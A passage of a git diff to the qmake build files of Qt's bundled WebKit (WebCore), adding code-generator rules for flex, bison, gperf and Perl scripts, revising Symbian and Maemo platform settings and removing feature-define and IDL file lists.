+              $$PWD/bindings/scripts/InFilesParser.pm
+addExtraCompiler(idl)
+
+# GENERATOR 3: tokenizer (flex)
+tokenizer.output = $${WC_GENERATED_SOURCES_DIR}/${QMAKE_FILE_BASE}.cpp
+tokenizer.input = TOKENIZER
+tokenizer.wkScript = $$PWD/css/maketokenizer
+tokenizer.commands = flex -t < ${QMAKE_FILE_NAME} | perl $$tokenizer.wkScript > ${QMAKE_FILE_OUT}
+addExtraCompiler(tokenizer)
+
+# GENERATOR 4: CSS grammar
+cssbison.output = $${WC_GENERATED_SOURCES_DIR}/${QMAKE_FILE_BASE}.cpp
+cssbison.input = CSSBISON
+cssbison.wkScript = $$PWD/css/makegrammar.pl
+cssbison.commands = perl $$cssbison.wkScript ${QMAKE_FILE_NAME} $${WC_GENERATED_SOURCES_DIR}/${QMAKE_FILE_BASE}
+cssbison.depends = ${QMAKE_FILE_NAME}
+addExtraCompiler(cssbison)
+
+# GENERATOR 5-A:
+htmlnames.output = $${WC_GENERATED_SOURCES_DIR}/HTMLNames.cpp
+htmlnames.input = HTML_NAMES
+htmlnames.wkScript = $$PWD/dom/make_names.pl
+htmlnames.commands = perl -I$$PWD/bindings/scripts $$htmlnames.wkScript --tags $$PWD/html/HTMLTagNames.in --attrs $$PWD/html/HTMLAttributeNames.in --extraDefines \"$${DEFINES}\" --preprocessor \"$${QMAKE_MOC} -E\"  --factory --wrapperFactory --outputDir $$WC_GENERATED_SOURCES_DIR
+htmlnames.depends = $$PWD/html/HTMLAttributeNames.in
+htmlnames.wkExtraSources = $${WC_GENERATED_SOURCES_DIR}/HTMLElementFactory.cpp $${WC_GENERATED_SOURCES_DIR}/JSHTMLElementWrapperFactory.cpp
+addExtraCompiler(htmlnames)
+
+# GENERATOR 5-B:
+xmlnsnames.output = $${WC_GENERATED_SOURCES_DIR}/XMLNSNames.cpp
+xmlnsnames.input = XMLNS_NAMES
+xmlnsnames.wkScript = $$PWD/dom/make_names.pl
+xmlnsnames.commands = perl -I$$PWD/bindings/scripts $$xmlnsnames.wkScript --attrs $$PWD/xml/xmlnsattrs.in --preprocessor \"$${QMAKE_MOC} -E\" --outputDir $$WC_GENERATED_SOURCES_DIR
+addExtraCompiler(xmlnsnames)
+
+# GENERATOR 5-C:
+xmlnames.output = $${WC_GENERATED_SOURCES_DIR}/XMLNames.cpp
+xmlnames.input = XML_NAMES
+xmlnames.wkScript = $$PWD/dom/make_names.pl
+xmlnames.commands = perl -I$$PWD/bindings/scripts $$xmlnames.wkScript --attrs $$PWD/xml/xmlattrs.in --preprocessor \"$${QMAKE_MOC} -E\" --outputDir $$WC_GENERATED_SOURCES_DIR
+addExtraCompiler(xmlnames)
+
+# GENERATOR 8-A:
+entities.output = $${WC_GENERATED_SOURCES_DIR}/HTMLEntityNames.c
+entities.input = ENTITIES_GPERF
+entities.commands = gperf -a -L ANSI-C -C -G -c -o -t --includes --key-positions="*" -N findEntity -D -s 2 < $$PWD/html/HTMLEntityNames.gperf > $${WC_GENERATED_SOURCES_DIR}/HTMLEntityNames.c
+entities.clean = ${QMAKE_FILE_OUT}
+addExtraCompiler(entities)
+
+# GENERATOR 8-B:
+doctypestrings.output = $${WC_GENERATED_SOURCES_DIR}/${QMAKE_FILE_BASE}.cpp
+doctypestrings.input = DOCTYPESTRINGS
+doctypestrings.commands = gperf -CEot -L ANSI-C --includes --key-positions="*" -N findDoctypeEntry -F ,PubIDInfo::eAlmostStandards,PubIDInfo::eAlmostStandards < ${QMAKE_FILE_NAME} >> ${QMAKE_FILE_OUT}
+doctypestrings.clean = ${QMAKE_FILE_OUT}
+addExtraCompiler(doctypestrings)
+
+# GENERATOR 8-C:
+colordata.output = $${WC_GENERATED_SOURCES_DIR}/ColorData.c
+colordata.input = COLORDAT_GPERF
+colordata.commands = gperf -CDEot -L ANSI-C --includes --key-positions="*" -N findColor -D -s 2 < ${QMAKE_FILE_NAME} >> ${QMAKE_FILE_OUT}
+addExtraCompiler(colordata)
+
+# GENERATOR 9:
+stylesheets.wkScript = $$PWD/css/make-css-file-arrays.pl
+stylesheets.output = $${WC_GENERATED_SOURCES_DIR}/UserAgentStyleSheetsData.cpp
+stylesheets.input = stylesheets.wkScript
+stylesheets.commands = perl $$stylesheets.wkScript $${WC_GENERATED_SOURCES_DIR}/UserAgentStyleSheets.h ${QMAKE_FILE_OUT} $$STYLESHEETS_EMBED
+stylesheets.depends = $$STYLESHEETS_EMBED
+stylesheets.clean = ${QMAKE_FILE_OUT} ${QMAKE_VAR_WC_GENERATED_SOURCES_DIR}/UserAgentStyleSheets.h
+addExtraCompiler(stylesheets, $${WC_GENERATED_SOURCES_DIR}/UserAgentStyleSheets.h)
+
+# GENERATOR 10: XPATH grammar
+xpathbison.output = $${WC_GENERATED_SOURCES_DIR}/${QMAKE_FILE_BASE}.cpp
+xpathbison.input = XPATHBISON
+xpathbison.commands = bison -d -p xpathyy ${QMAKE_FILE_NAME} -o $${WC_GENERATED_SOURCES_DIR}/${QMAKE_FILE_BASE}.tab.c && $(MOVE) $${WC_GENERATED_SOURCES_DIR}$${QMAKE_DIR_SEP}${QMAKE_FILE_BASE}.tab.c $${WC_GENERATED_SOURCES_DIR}$${QMAKE_DIR_SEP}${QMAKE_FILE_BASE}.cpp && $(MOVE) $${WC_GENERATED_SOURCES_DIR}$${QMAKE_DIR_SEP}${QMAKE_FILE_BASE}.tab.h $${WC_GENERATED_SOURCES_DIR}$${QMAKE_DIR_SEP}${QMAKE_FILE_BASE}.h
+xpathbison.depends = ${QMAKE_FILE_NAME}
+addExtraCompiler(xpathbison)
+
+# GENERATOR 11: WebKit Version
+# The appropriate Apple-maintained Version.xcconfig file for WebKit version information is in WebKit/mac/Configurations/.
+webkitversion.wkScript = $$PWD/../WebKit/scripts/generate-webkitversion.pl
+webkitversion.output = $${WC_GENERATED_SOURCES_DIR}/WebKitVersion.h
+webkitversion.input = webkitversion.wkScript
+webkitversion.commands = perl $$webkitversion.wkScript --config $$PWD/../WebKit/mac/Configurations/Version.xcconfig --outputDir $${WC_GENERATED_SOURCES_DIR}/
+webkitversion.clean = ${QMAKE_VAR_WC_GENERATED_SOURCES_DIR}/WebKitVersion.h
+webkitversion.wkAddOutputToSources = false
+addExtraCompiler(webkitversion)
+
diff --git a/src/3rdparty/webkit/WebCore/WebCore.pro b/src/3rdparty/webkit/WebCore/WebCore.pro
index e50ad3c..0702699 100644
--- a/src/3rdparty/webkit/WebCore/WebCore.pro
+++ b/src/3rdparty/webkit/WebCore/WebCore.pro
@@ -4,11 +4,14 @@ CONFIG += depend_includepath
 
 symbian: {
     TARGET.EPOCALLOWDLLDATA=1
-    TARGET.EPOCHEAPSIZE = 0x20000 0x2000000 // Min 128kB, Max 32MB
     TARGET.CAPABILITY = All -Tcb
-    TARGET.UID3 = 0x200267C2
-
-    webkitlibs.sources = QtWebKit.dll
+    isEmpty(QT_LIBINFIX) {
+        TARGET.UID3 = 0x200267C2
+    } else {
+        TARGET.UID3 = 0xE00267C2
+    }
+    webkitlibs.sources = QtWebKit$${QT_LIBINFIX}.dll
+    CONFIG(QTDIR_build): webkitlibs.sources = $$QMAKE_LIBDIR_QT/$$webkitlibs.sources
     webkitlibs.path = /sys/bin
     vendorinfo = \
         "; Localised Vendor name" \
@@ -24,11 +27,22 @@ symbian: {
 
     DEPLOYMENT += webkitlibs webkitbackup
 
-    # RO text (code) section in qtwebkit.dll exceeds allocated space for gcce udeb target.
-    # Move RW-section base address to start from 0xE00000 instead of the toolchain default 0x400000.
-    MMP_RULES += "LINKEROPTION  armcc --rw-base 0xE00000"
+    # Need to guarantee that these come before system includes of /epoc32/include
+    MMP_RULES += "USERINCLUDE rendering"
+    MMP_RULES += "USERINCLUDE platform/text"
+    symbian-abld|symbian-sbsv2 {
+        # RO text (code) section in qtwebkit.dll exceeds allocated space for gcce udeb target.
+        # Move RW-section base address to start from 0xE00000 instead of the toolchain default 0x400000.
+        QMAKE_LFLAGS.ARMCC += --rw-base 0xE00000
+        MMP_RULES += ALWAYS_BUILD_AS_ARM
+    } else {
+        QMAKE_CFLAGS -= --thumb
+        QMAKE_CXXFLAGS -= --thumb
+    }
 }
 
+
+isEmpty(OUTPUT_DIR): OUTPUT_DIR = ..
 include($$PWD/../WebKit.pri)
 
 TEMPLATE = lib
@@ -37,36 +51,43 @@ TARGET = QtWebKit
 contains(QT_CONFIG, embedded):CONFIG += embedded
 contains(QT_CONFIG, embedded_lite):CONFIG += embedded
 
-CONFIG(QTDIR_build) {
-    GENERATED_SOURCES_DIR = $$PWD/generated
-    include($$QT_SOURCE_TREE/src/qbase.pri)
+CONFIG(standalone_package) {
+    isEmpty(WC_GENERATED_SOURCES_DIR):WC_GENERATED_SOURCES_DIR = $$PWD/generated
+    isEmpty(JSC_GENERATED_SOURCES_DIR):JSC_GENERATED_SOURCES_DIR = $$PWD/../JavaScriptCore/generated
+
     PRECOMPILED_HEADER = $$PWD/../WebKit/qt/WebKit_pch.h
-    DEFINES *= NDEBUG
+
+    symbian: TARGET += $${QT_LIBINFIX}
 } else {
-    !static: DEFINES += QT_MAKEDLL
+    isEmpty(WC_GENERATED_SOURCES_DIR):WC_GENERATED_SOURCES_DIR = generated
+    isEmpty(JSC_GENERATED_SOURCES_DIR):JSC_GENERATED_SOURCES_DIR = ../JavaScriptCore/generated
 
     CONFIG(debug, debug|release) {
-        isEmpty(GENERATED_SOURCES_DIR):GENERATED_SOURCES_DIR = generated$${QMAKE_DIR_SEP}debug
         OBJECTS_DIR = obj/debug
     } else { # Release
-        isEmpty(GENERATED_SOURCES_DIR):GENERATED_SOURCES_DIR = generated$${QMAKE_DIR_SEP}release
         OBJECTS_DIR = obj/release
     }
 
-    DESTDIR = $$OUTPUT_DIR/lib
 }
 
-GENERATED_SOURCES_DIR_SLASH = $$GENERATED_SOURCES_DIR${QMAKE_DIR_SEP}
+CONFIG(QTDIR_build) {
+    include($$QT_SOURCE_TREE/src/qbase.pri)
+    # Qt will set the version for us when building in Qt's tree
+} else {
+    VERSION = $${QT_MAJOR_VERSION}.$${QT_MINOR_VERSION}.$${QT_PATCH_VERSION}
+    DESTDIR = $$OUTPUT_DIR/lib
+    !static: DEFINES += QT_MAKEDLL
+}
 
 unix {
     QMAKE_PKGCONFIG_REQUIRES = QtCore QtGui QtNetwork
-    lessThan(QT_MINOR_VERSION, 4): QMAKE_PKGCONFIG_REQUIRES += QtXml
 }
 
 unix:!mac:*-g++*:QMAKE_CXXFLAGS += -ffunction-sections -fdata-sections 
 unix:!mac:*-g++*:QMAKE_LFLAGS += -Wl,--gc-sections
+linux*-g++*:QMAKE_LFLAGS += $$QMAKE_LFLAGS_NOUNDEF
 
-CONFIG(release):!CONFIG(QTDIR_build) {
+CONFIG(release):!CONFIG(standalone_package) {
     contains(QT_CONFIG, reduce_exports):CONFIG += hide_symbols
     unix:contains(QT_CONFIG, reduce_relocations):CONFIG += bsymbolic_functions
 }
@@ -82,16 +103,6 @@ win32-msvc2005|win32-msvc2008:{
     QMAKE_CXXFLAGS_RELEASE -= -GL
 }
 
-win32-*: DEFINES += _HAS_TR1=0
-wince* {
-#    DEFINES += ENABLE_SVG=0 ENABLE_XPATH=0 ENABLE_XBL=0 \
-#               ENABLE_SVG_ANIMATION=0 ENABLE_SVG_USE=0  \
-#               ENABLE_SVG_FOREIGN_OBJECT=0 ENABLE_SVG_AS_IMAGE=0
-
-    INCLUDEPATH += $$PWD/../JavaScriptCore/os-wince
-    INCLUDEPATH += $$PWD/../JavaScriptCore/os-win32
-}
-
 # Pick up 3rdparty libraries from INCLUDE/LIB just like with MSVC
 win32-g++ {
     TMPPATH            = $$quote($$(INCLUDE))
@@ -103,121 +114,64 @@ win32-g++ {
 # Assume that symbian OS always comes with sqlite
 symbian:!CONFIG(QTDIR_build): CONFIG += system-sqlite
 
-# Try to locate sqlite3 source
-CONFIG(QTDIR_build) {
-    SQLITE3SRCDIR = $$QT_SOURCE_TREE/src/3rdparty/sqlite/
-} else {
-    SQLITE3SRCDIR = $$(SQLITE3SRCDIR)
-    isEmpty(SQLITE3SRCDIR) {
-        SQLITE3SRCDIR = $$[QT_INSTALL_PREFIX]/src/3rdparty/sqlite/
-    } 
-}
 
-# Optional components (look for defs in config.h and included files!)
 
-contains(DEFINES, ENABLE_SINGLE_THREADED=1) {
-    DEFINES+=ENABLE_DATABASE=0 ENABLE_DOM_STORAGE=0 ENABLE_ICONDATABASE=0 ENABLE_WORKERS=0 ENABLE_SHARED_WORKERS=0
-}
+RESOURCES += \
+    $$PWD/../WebCore/WebCore.qrc
 
-# turn off SQLITE support if we do not have sqlite3 available
-!CONFIG(QTDIR_build):win32-*:!exists( $${SQLITE3SRCDIR}/sqlite3.c ): DEFINES += ENABLE_SQLITE=0 ENABLE_DATABASE=0 ENABLE_ICONDATABASE=0 ENABLE_OFFLINE_WEB_APPLICATIONS=0 ENABLE_DOM_STORAGE=0
-
-!contains(DEFINES, ENABLE_JAVASCRIPT_DEBUGGER=.): DEFINES += ENABLE_JAVASCRIPT_DEBUGGER=1
-!contains(DEFINES, ENABLE_DATABASE=.): DEFINES += ENABLE_DATABASE=1
-!contains(DEFINES, ENABLE_EVENTSOURCE=.): DEFINES += ENABLE_EVENTSOURCE=1
-!contains(DEFINES, ENABLE_OFFLINE_WEB_APPLICATIONS=.): DEFINES += ENABLE_OFFLINE_WEB_APPLICATIONS=1
-!contains(DEFINES, ENABLE_DOM_STORAGE=.): DEFINES += ENABLE_DOM_STORAGE=1
-!contains(DEFINES, ENABLE_ICONDATABASE=.): DEFINES += ENABLE_ICONDATABASE=1
-!contains(DEFINES, ENABLE_CHANNEL_MESSAGING=.): DEFINES += ENABLE_CHANNEL_MESSAGING=1
-!contains(DEFINES, ENABLE_ORIENTATION_EVENTS=.): DEFINES += ENABLE_ORIENTATION_EVENTS=0
-
-# turn on SQLITE support if any of the dependent features are turned on
-!contains(DEFINES, ENABLE_SQLITE=.) {
-  contains(DEFINES, ENABLE_DATABASE=1)|contains(DEFINES, ENABLE_ICONDATABASE=1)|contains(DEFINES, ENABLE_DOM_STORAGE=1)|contains(DEFINES, ENABLE_OFFLINE_WEB_APPLICATIONS=1) {
-    DEFINES += ENABLE_SQLITE=1
-  } else {
-    DEFINES += ENABLE_SQLITE=0
-  }
+!symbian:!maemo5 {
+    RESOURCES += $$PWD/../WebCore/inspector/front-end/WebKit.qrc
 }
 
-!contains(DEFINES, ENABLE_DASHBOARD_SUPPORT=.): DEFINES += ENABLE_DASHBOARD_SUPPORT=0
-!contains(DEFINES, ENABLE_FILTERS=.): DEFINES += ENABLE_FILTERS=0
-!contains(DEFINES, ENABLE_XPATH=.): DEFINES += ENABLE_XPATH=1
-#!contains(DEFINES, ENABLE_XBL=.): DEFINES += ENABLE_XBL=1
-!contains(DEFINES, ENABLE_WCSS=.): DEFINES += ENABLE_WCSS=0
-!contains(DEFINES, ENABLE_WML=.): DEFINES += ENABLE_WML=0
-!contains(DEFINES, ENABLE_SHARED_WORKERS=.): DEFINES += ENABLE_SHARED_WORKERS=1
-!contains(DEFINES, ENABLE_WORKERS=.): DEFINES += ENABLE_WORKERS=1
-!contains(DEFINES, ENABLE_XHTMLMP=.): DEFINES += ENABLE_XHTMLMP=0
-!contains(DEFINES, ENABLE_DATAGRID=.): DEFINES += ENABLE_DATAGRID=0
-
-# SVG support
-!contains(DEFINES, ENABLE_SVG=0) {
-    !contains(DEFINES, ENABLE_SVG=.): DEFINES += ENABLE_SVG=1
-    !contains(DEFINES, ENABLE_SVG_FONTS=.): DEFINES += ENABLE_SVG_FONTS=1
-    !contains(DEFINES, ENABLE_SVG_FOREIGN_OBJECT=.): DEFINES += ENABLE_SVG_FOREIGN_OBJECT=1
-    !contains(DEFINES, ENABLE_SVG_ANIMATION=.): DEFINES += ENABLE_SVG_ANIMATION=1
-    !contains(DEFINES, ENABLE_SVG_AS_IMAGE=.): DEFINES += ENABLE_SVG_AS_IMAGE=1
-    !contains(DEFINES, ENABLE_SVG_USE=.): DEFINES += ENABLE_SVG_USE=1
-} else {
-    DEFINES += ENABLE_SVG_FONTS=0 ENABLE_SVG_FOREIGN_OBJECT=0 ENABLE_SVG_ANIMATION=0 ENABLE_SVG_AS_IMAGE=0 ENABLE_SVG_USE=0
+maemo5|symbian|embedded {
+    DEFINES += ENABLE_FAST_MOBILE_SCROLLING=1
 }
 
-# HTML5 ruby support
-!contains(DEFINES, ENABLE_RUBY=.): DEFINES += ENABLE_RUBY=1
-
-# HTML5 media support
-!contains(DEFINES, ENABLE_VIDEO=.) {
-    contains(QT_CONFIG, phonon):DEFINES += ENABLE_VIDEO=1
-    else:DEFINES += ENABLE_VIDEO=0
+maemo5 {
+    DEFINES += ENABLE_NO_LISTBOX_RENDERING=1
 }
 
-# HTML5 datalist support
-!contains(DEFINES, ENABLE_DATALIST=.): DEFINES += ENABLE_DATALIST=1
-
-# Nescape plugins support (NPAPI)
-!contains(DEFINES, ENABLE_NETSCAPE_PLUGIN_API=.) {
-    unix|win32-*:!embedded:!wince*: {
-        DEFINES += ENABLE_NETSCAPE_PLUGIN_API=1
-    } else {
-        DEFINES += ENABLE_NETSCAPE_PLUGIN_API=0
-    }
-}
+include($$PWD/../JavaScriptCore/JavaScriptCore.pri)
+addJavaScriptCoreLib(../JavaScriptCore)
 
-# Web Socket support.
-!contains(DEFINES, ENABLE_WEB_SOCKETS=.): DEFINES += ENABLE_WEB_SOCKETS=0
 
-# XSLT support with QtXmlPatterns
-!contains(DEFINES, ENABLE_XSLT=.) {
-    contains(QT_CONFIG, xmlpatterns):!lessThan(QT_MINOR_VERSION, 5):DEFINES += ENABLE_XSLT=1
-    else:DEFINES += ENABLE_XSLT=0
-}
+# HTML5 Media Support
+# We require phonon for versions of Qt < 4.7
+# We require QtMultimedia for versions of Qt >= 4.7
+!contains(DEFINES, ENABLE_VIDEO=.) {
+    DEFINES -= ENABLE_VIDEO=1
+    DEFINES += ENABLE_VIDEO=0
 
-!CONFIG(QTDIR_build):!contains(DEFINES, ENABLE_QT_BEARER=.) {
-    symbian: {
-        exists($${EPOCROOT}epoc32/release/winscw/udeb/QtBearer.lib)| \
-        exists($${EPOCROOT}epoc32/release/armv5/lib/QtBearer.lib) {
-            DEFINES += ENABLE_QT_BEARER=1
-        }
+    lessThan(QT_MINOR_VERSION, 7):contains(QT_CONFIG, phonon) {
+        DEFINES -= ENABLE_VIDEO=0
+        DEFINES += ENABLE_VIDEO=1
+    }
+    !lessThan(QT_MINOR_VERSION, 7):contains(QT_CONFIG, multimedia) {
+        DEFINES -= ENABLE_VIDEO=0
+        DEFINES += ENABLE_VIDEO=1
     }
 }
 
-DEFINES += WTF_USE_JAVASCRIPTCORE_BINDINGS=1 WTF_CHANGES=1
+# Extract sources to build from the generator definitions
+defineTest(addExtraCompiler) {
+    isEqual($${1}.wkAddOutputToSources, false): return(true)
 
-# Used to compute defaults for the build-webkit script
-CONFIG(compute_defaults) {
-    message($$DEFINES)
-    error("Done computing defaults")
-}
+    outputRule = $$eval($${1}.output)
+    input = $$eval($${1}.input)
+    input = $$eval($$input)
 
-RESOURCES += \
-    $$PWD/../WebCore/WebCore.qrc
+    for(file,input) {
+        base = $$basename(file)
+        base ~= s/\..+//
+        newfile=$$replace(outputRule,\\$\\{QMAKE_FILE_BASE\\},$$base)
+        SOURCES += $$newfile
+    }
+    SOURCES += $$eval($${1}.wkExtraSources)
+    export(SOURCES)
 
-!symbian {
-    RESOURCES += $$PWD/../WebCore/inspector/front-end/WebKit.qrc
+    return(true)
 }
-
-include($$PWD/../JavaScriptCore/JavaScriptCore.pri)
+include(WebCore.pri)
 
 INCLUDEPATH = \
     $$PWD \
@@ -225,6 +179,7 @@ INCLUDEPATH = \
     $$PWD/bindings/js \
     $$PWD/bridge \
     $$PWD/bridge/c \
+    $$PWD/bridge/jsc \
     $$PWD/css \
     $$PWD/dom \
     $$PWD/dom/default \
@@ -262,7 +217,7 @@ INCLUDEPATH = \
     $$PWD/wml \
     $$PWD/workers \
     $$PWD/xml \
-    $$GENERATED_SOURCES_DIR \
+    $$WC_GENERATED_SOURCES_DIR \
     $$INCLUDEPATH
 
 INCLUDEPATH = \
@@ -271,33 +226,12 @@ INCLUDEPATH = \
     $$PWD/platform/graphics/qt \
     $$PWD/platform/network/qt \
     $$PWD/platform/qt \
+    $$PWD/../WebKit/qt/Api \
     $$PWD/../WebKit/qt/WebCoreSupport \
     $$INCLUDEPATH
 
 QT += network
-lessThan(QT_MINOR_VERSION, 4): QT += xml
-
-QMAKE_EXTRA_TARGETS += generated_files
-
-FEATURE_DEFINES_JAVASCRIPT = LANGUAGE_JAVASCRIPT=1
-
-TOKENIZER = $$PWD/css/tokenizer.flex
-
-DOCTYPESTRINGS = $$PWD/html/DocTypeStrings.gperf
 
-CSSBISON = $$PWD/css/CSSGrammar.y
-
-HTML_NAMES = $$PWD/html/HTMLTagNames.in
-
-XML_NAMES = $$PWD/xml/xmlattrs.in
-
-ENTITIES_GPERF = $$PWD/html/HTMLEntityNames.gperf
-
-COLORDAT_GPERF = $$PWD/platform/ColorData.gperf
-
-WALDOCSSPROPS = $$PWD/css/CSSPropertyNames.in
-
-WALDOCSSVALUES = $$PWD/css/CSSValueKeywords.in
 
 DASHBOARDSUPPORTCSSPROPERTIES = $$PWD/css/DashboardSupportCSSPropertyNames.in
 
@@ -312,378 +246,18 @@ contains(DEFINES, ENABLE_WCSS=1) {
     EXTRACSSVALUES += $$PWD/css/WCSSValueKeywords.in
 }
 
-STYLESHEETS_EMBED = \
-    $$PWD/css/html.css \
-    $$PWD/css/quirks.css \
-    $$PWD/css/svg.css \
-    $$PWD/css/view-source.css \
-    $$PWD/css/wml.css \
-    $$PWD/css/mediaControls.css \
-    $$PWD/css/mediaControlsQt.css
-
-DOMLUT_FILES += \
-    bindings/js/JSDOMWindowBase.cpp \
-    bindings/js/JSWorkerContextBase.cpp
-
-IDL_BINDINGS += \
-    css/Counter.idl \
-    css/CSSCharsetRule.idl \
-    css/CSSFontFaceRule.idl \
-    css/CSSImportRule.idl \
-    css/CSSMediaRule.idl \
-    css/CSSPageRule.idl \
-    css/CSSPrimitiveValue.idl \
-    css/CSSRule.idl \
-    css/CSSRuleList.idl \
-    css/CSSStyleDeclaration.idl \
-    css/CSSStyleRule.idl \
-    css/CSSStyleSheet.idl \
-    css/CSSValue.idl \
-    css/CSSValueList.idl \
-    css/CSSVariablesDeclaration.idl \
-    css/CSSVariablesRule.idl \
-    css/Media.idl \
-    css/MediaList.idl \
-    css/RGBColor.idl \
-    css/Rect.idl \
-    css/StyleSheet.idl \
-    css/StyleSheetList.idl \
-    css/WebKitCSSKeyframeRule.idl \
-    css/WebKitCSSKeyframesRule.idl \
-    css/WebKitCSSMatrix.idl \
-    css/WebKitCSSTransformValue.idl \
-    dom/Attr.idl \
-    dom/BeforeLoadEvent.idl \
-    dom/CharacterData.idl \
-    dom/ClientRect.idl \
-    dom/ClientRectList.idl \
-    dom/Clipboard.idl \
-    dom/CDATASection.idl \
-    dom/Comment.idl \
-    dom/DocumentFragment.idl \
-    dom/Document.idl \
-    dom/DocumentType.idl \
-    dom/DOMCoreException.idl \
-    dom/DOMImplementation.idl \
-    dom/Element.idl \
-    dom/Entity.idl \
-    dom/EntityReference.idl \
-    dom/ErrorEvent.idl \
-    dom/Event.idl \
-    dom/EventException.idl \
-#    dom/EventListener.idl \
-#    dom/EventTarget.idl \
-    dom/KeyboardEvent.idl \
-    dom/MouseEvent.idl \
-    dom/MessageChannel.idl \
-    dom/MessageEvent.idl \
-    dom/MessagePort.idl \
-    dom/MutationEvent.idl \
-    dom/NamedNodeMap.idl \
-    dom/Node.idl \
-    dom/NodeFilter.idl \
-    dom/NodeIterator.idl \
-    dom/NodeList.idl \
-    dom/Notation.idl \
-    dom/OverflowEvent.idl \
-    dom/PageTransitionEvent.idl \
-    dom/ProcessingInstruction.idl \
-    dom/ProgressEvent.idl \
-    dom/RangeException.idl \
-    dom/Range.idl \
-    dom/Text.idl \
-    dom/TextEvent.idl \
-    dom/TreeWalker.idl \
-    dom/UIEvent.idl \
-    dom/WebKitAnimationEvent.idl \
-    dom/WebKitTransitionEvent.idl \
-    dom/WheelEvent.idl \
-    html/canvas/CanvasArray.idl \
-    html/canvas/CanvasArrayBuffer.idl \
-    html/canvas/CanvasByteArray.idl \
-    html/canvas/CanvasFloatArray.idl \
-    html/canvas/CanvasGradient.idl \
-    html/canvas/CanvasIntArray.idl \
-    html/canvas/CanvasPattern.idl \
-    html/canvas/CanvasRenderingContext.idl \
-    html/canvas/CanvasRenderingContext2D.idl \
-    html/canvas/CanvasRenderingContext3D.idl \
-    html/canvas/CanvasShortArray.idl \
-    html/canvas/CanvasUnsignedByteArray.idl \
-    html/canvas/CanvasUnsignedIntArray.idl \
-    html/canvas/CanvasUnsignedShortArray.idl \
-    html/DataGridColumn.idl \
-    html/DataGridColumnList.idl \
-    html/File.idl \
-    html/FileList.idl \
-    html/HTMLAllCollection.idl \
-    html/HTMLAudioElement.idl \
-    html/HTMLAnchorElement.idl \
-    html/HTMLAppletElement.idl \
-    html/HTMLAreaElement.idl \
-    html/HTMLBaseElement.idl \
-    html/HTMLBaseFontElement.idl \
-    html/HTMLBlockquoteElement.idl \
-    html/HTMLBodyElement.idl \
-    html/HTMLBRElement.idl \
-    html/HTMLButtonElement.idl \
-    html/HTMLCanvasElement.idl \
-    html/HTMLCollection.idl \
-    html/HTMLDataGridElement.idl \
-    html/HTMLDataGridCellElement.idl \
-    html/HTMLDataGridColElement.idl \
-    html/HTMLDataGridRowElement.idl \
-    html/HTMLDataListElement.idl \
-    html/HTMLDirectoryElement.idl \
-    html/HTMLDivElement.idl \
-    html/HTMLDListElement.idl \
-    html/HTMLDocument.idl \
-    html/HTMLElement.idl \
-    html/HTMLEmbedElement.idl \
-    html/HTMLFieldSetElement.idl \
-    html/HTMLFontElement.idl \
-    html/HTMLFormElement.idl \
-    html/HTMLFrameElement.idl \
-    html/HTMLFrameSetElement.idl \
-    html/HTMLHeadElement.idl \
-    html/HTMLHeadingElement.idl \
-    html/HTMLHRElement.idl \
-    html/HTMLHtmlElement.idl \
-    html/HTMLIFrameElement.idl \
-    html/HTMLImageElement.idl \
-    html/HTMLInputElement.idl \
-    html/HTMLIsIndexElement.idl \
-    html/HTMLLabelElement.idl \
-    html/HTMLLegendElement.idl \
-    html/HTMLLIElement.idl \
-    html/HTMLLinkElement.idl \
-    html/HTMLMapElement.idl \
-    html/HTMLMarqueeElement.idl \
-    html/HTMLMediaElement.idl \
-    html/HTMLMenuElement.idl \
-    html/HTMLMetaElement.idl \
-    html/HTMLModElement.idl \
-    html/HTMLObjectElement.idl \
-    html/HTMLOListElement.idl \
-    html/HTMLOptGroupElement.idl \
-    html/HTMLOptionElement.idl \
-    html/HTMLOptionsCollection.idl \
-    html/HTMLParagraphElement.idl \
-    html/HTMLParamElement.idl \
-    html/HTMLPreElement.idl \
-    html/HTMLQuoteElement.idl \
-    html/HTMLScriptElement.idl \
-    html/HTMLSelectElement.idl \
-    html/HTMLSourceElement.idl \
-    html/HTMLStyleElement.idl \
-    html/HTMLTableCaptionElement.idl \
-    html/HTMLTableCellElement.idl \
-    html/HTMLTableColElement.idl \
-    html/HTMLTableElement.idl \
-    html/HTMLTableRowElement.idl \
-    html/HTMLTableSectionElement.idl \
-    html/HTMLTextAreaElement.idl \
-    html/HTMLTitleElement.idl \
-    html/HTMLUListElement.idl \
-    html/HTMLVideoElement.idl \
-    html/ImageData.idl \
-    html/MediaError.idl \
-    html/TextMetrics.idl \
-    html/TimeRanges.idl \
-    html/ValidityState.idl \
-    html/VoidCallback.idl \
-    inspector/InspectorBackend.idl \
-    inspector/JavaScriptCallFrame.idl \
-    loader/appcache/DOMApplicationCache.idl \
-    page/BarInfo.idl \
-    page/Console.idl \
-    page/Coordinates.idl \
-    page/DOMSelection.idl \
-    page/DOMWindow.idl \
-    page/EventSource.idl \
-    page/Geolocation.idl \
-    page/Geoposition.idl \
-    page/History.idl \
-    page/Location.idl \
-    page/Navigator.idl \
-    page/PositionError.idl \
-    page/Screen.idl \
-    page/WebKitPoint.idl \
-    page/WorkerNavigator.idl \
-    plugins/Plugin.idl \
-    plugins/MimeType.idl \
-    plugins/PluginArray.idl \
-    plugins/MimeTypeArray.idl \
-    storage/Database.idl \
-    storage/Storage.idl \
-    storage/StorageEvent.idl \
-    storage/SQLError.idl \
-    storage/SQLResultSet.idl \
-    storage/SQLResultSetRowList.idl \
-    storage/SQLTransaction.idl \
-    svg/SVGZoomEvent.idl \
-    svg/SVGAElement.idl \
-    svg/SVGAltGlyphElement.idl \
-    svg/SVGAngle.idl \
-    svg/SVGAnimateColorElement.idl \
-    svg/SVGAnimatedAngle.idl \
-    svg/SVGAnimatedBoolean.idl \
-    svg/SVGAnimatedEnumeration.idl \
-    svg/SVGAnimatedInteger.idl \
-    svg/SVGAnimatedLength.idl \
-    svg/SVGAnimatedLengthList.idl \
-    svg/SVGAnimatedNumber.idl \
-    svg/SVGAnimatedNumberList.idl \
-    svg/SVGAnimatedPreserveAspectRatio.idl \
-    svg/SVGAnimatedRect.idl \
-    svg/SVGAnimatedString.idl \
-    svg/SVGAnimatedTransformList.idl \
-    svg/SVGAnimateElement.idl \
-    svg/SVGAnimateTransformElement.idl \
-    svg/SVGAnimationElement.idl \
-    svg/SVGCircleElement.idl \
-    svg/SVGClipPathElement.idl \
-    svg/SVGColor.idl \
-    svg/SVGComponentTransferFunctionElement.idl \
-    svg/SVGCursorElement.idl \
-    svg/SVGDefsElement.idl \
-    svg/SVGDescElement.idl \
-    svg/SVGDocument.idl \
-    svg/SVGElement.idl \
-    svg/SVGElementInstance.idl \
